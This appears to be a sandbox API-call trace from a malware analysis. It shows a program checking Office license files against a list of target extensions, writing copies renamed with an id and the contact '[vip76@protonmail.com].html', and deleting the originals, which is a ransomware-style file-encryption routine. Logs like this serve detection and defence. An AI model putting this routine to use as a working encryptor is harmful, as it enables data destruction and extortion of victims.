	[0194.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.042] lstrlenW (lpString=".zip") returned 4
	[0194.042] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.042] lstrlenW (lpString=".rar") returned 4
	[0194.043] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.043] lstrlenW (lpString=".bz2") returned 4
	[0194.043] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.043] lstrlenW (lpString=".7z") returned 3
	[0194.043] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.043] lstrlenW (lpString=".dbf") returned 4
	[0194.043] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.043] lstrlenW (lpString=".1cd") returned 4
	[0194.043] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.043] lstrlenW (lpString=".jpg") returned 4
	[0194.043] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.043] lstrlenW (lpString=".doc") returned 4
	[0194.043] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.043] lstrlenW (lpString=".docx") returned 5
	[0194.043] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.043] lstrlenW (lpString=".pdf") returned 4
	[0194.043] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.043] lstrlenW (lpString=".xls") returned 4
	[0194.043] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.043] lstrlenW (lpString=".xlsx") returned 5
	[0194.043] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.043] lstrlenW (lpString=".ppt") returned 4
	[0194.043] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.044] lstrlenW (lpString=".zip") returned 4
	[0194.044] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.044] lstrlenW (lpString=".rar") returned 4
	[0194.044] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.044] lstrlenW (lpString=".bz2") returned 4
	[0194.044] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.044] lstrlenW (lpString=".7z") returned 3
	[0194.044] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.044] lstrlenW (lpString=".dbf") returned 4
	[0194.044] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.044] lstrlenW (lpString=".1cd") returned 4
	[0194.044] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.044] lstrlenW (lpString=".jpg") returned 4
	[0194.044] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.044] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.044] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 33
	[0194.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.045] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=22093) returned 1
	[0194.045] CloseHandle (hObject=0x5ac) returned 1
	[0194.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0194.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.047] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.047] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.048] GetLastError () returned 0x0
	[0194.048] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x564d, lpOverlapped=0x0) returned 1
	[0194.051] WriteFile (in: hFile=0x5dc, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0194.052] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.052] WriteFile (in: hFile=0x5dc, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x116, lpOverlapped=0x0) returned 1
	[0194.052] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.052] CloseHandle (hObject=0x5dc) returned 1
	[0194.052] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.053] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.056] CloseHandle (hObject=0x5ac) returned 1
	[0194.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1
	[0194.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.058] lstrlenW (lpString=".doc") returned 4
	[0194.058] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.058] lstrlenW (lpString=".docx") returned 5
	[0194.058] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.058] lstrlenW (lpString=".pdf") returned 4
	[0194.058] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.058] lstrlenW (lpString=".xls") returned 4
	[0194.058] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.058] lstrlenW (lpString=".xlsx") returned 5
	[0194.058] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.058] lstrlenW (lpString=".ppt") returned 4
	[0194.058] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.058] lstrlenW (lpString=".zip") returned 4
	[0194.058] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.058] lstrlenW (lpString=".rar") returned 4
	[0194.058] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.058] lstrlenW (lpString=".bz2") returned 4
	[0194.058] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.058] lstrlenW (lpString=".7z") returned 3
	[0194.058] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.059] lstrlenW (lpString=".dbf") returned 4
	[0194.059] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.059] lstrlenW (lpString=".1cd") returned 4
	[0194.059] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.059] lstrlenW (lpString=".jpg") returned 4
	[0194.059] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.059] lstrlenW (lpString=".doc") returned 4
	[0194.059] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.059] lstrlenW (lpString=".docx") returned 5
	[0194.059] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.059] lstrlenW (lpString=".pdf") returned 4
	[0194.059] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.059] lstrlenW (lpString=".xls") returned 4
	[0194.059] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.059] lstrlenW (lpString=".xlsx") returned 5
	[0194.059] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.059] lstrlenW (lpString=".ppt") returned 4
	[0194.059] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.059] lstrlenW (lpString=".zip") returned 4
	[0194.059] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.059] lstrlenW (lpString=".rar") returned 4
	[0194.059] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.059] lstrlenW (lpString=".bz2") returned 4
	[0194.060] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.060] lstrlenW (lpString=".7z") returned 3
	[0194.060] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.060] lstrlenW (lpString=".dbf") returned 4
	[0194.060] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.060] lstrlenW (lpString=".1cd") returned 4
	[0194.060] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0194.060] lstrlenW (lpString=".jpg") returned 4
	[0194.060] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.060] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.060] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 36
	[0194.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.061] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11617) returned 1
	[0194.061] CloseHandle (hObject=0x5ac) returned 1
	[0194.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0194.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.062] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.062] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.063] GetLastError () returned 0x0
	[0194.063] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d61, lpOverlapped=0x0) returned 1
	[0194.065] WriteFile (in: hFile=0x5dc, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0194.067] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.067] WriteFile (in: hFile=0x5dc, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0194.067] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.067] CloseHandle (hObject=0x5dc) returned 1
	[0194.067] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.067] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.070] CloseHandle (hObject=0x5ac) returned 1
	[0194.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0194.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.451] lstrlenW (lpString=".doc") returned 4
	[0194.451] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.451] lstrlenW (lpString=".docx") returned 5
	[0194.452] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.452] lstrlenW (lpString=".pdf") returned 4
	[0194.452] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.452] lstrlenW (lpString=".xls") returned 4
	[0194.452] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.452] lstrlenW (lpString=".xlsx") returned 5
	[0194.452] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.452] lstrlenW (lpString=".ppt") returned 4
	[0194.452] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.452] lstrlenW (lpString=".zip") returned 4
	[0194.452] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.452] lstrlenW (lpString=".rar") returned 4
	[0194.452] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.452] lstrlenW (lpString=".bz2") returned 4
	[0194.452] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.452] lstrlenW (lpString=".7z") returned 3
	[0194.452] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.452] lstrlenW (lpString=".dbf") returned 4
	[0194.452] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.452] lstrlenW (lpString=".1cd") returned 4
	[0194.452] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.452] lstrlenW (lpString=".jpg") returned 4
	[0194.452] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.453] lstrlenW (lpString=".doc") returned 4
	[0194.453] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.453] lstrlenW (lpString=".docx") returned 5
	[0194.453] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.453] lstrlenW (lpString=".pdf") returned 4
	[0194.453] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.453] lstrlenW (lpString=".xls") returned 4
	[0194.453] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.453] lstrlenW (lpString=".xlsx") returned 5
	[0194.453] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.453] lstrlenW (lpString=".ppt") returned 4
	[0194.453] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.453] lstrlenW (lpString=".zip") returned 4
	[0194.453] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.453] lstrlenW (lpString=".rar") returned 4
	[0194.453] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.453] lstrlenW (lpString=".bz2") returned 4
	[0194.453] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.453] lstrlenW (lpString=".7z") returned 3
	[0194.453] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.453] lstrlenW (lpString=".dbf") returned 4
	[0194.453] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.453] lstrlenW (lpString=".1cd") returned 4
	[0194.453] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0194.454] lstrlenW (lpString=".jpg") returned 4
	[0194.454] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.454] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.454] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 37
	[0194.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.454] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11621) returned 1
	[0194.454] CloseHandle (hObject=0x5dc) returned 1
	[0194.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220
	[0194.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.455] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.455] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0194.456] GetLastError () returned 0x0
	[0194.456] ReadFile (in: hFile=0x5dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0194.458] WriteFile (in: hFile=0x4ac, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0194.459] ReadFile (in: hFile=0x5dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.459] WriteFile (in: hFile=0x4ac, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0194.459] SetEndOfFile (hFile=0x4ac) returned 1
	[0194.460] CloseHandle (hObject=0x4ac) returned 1
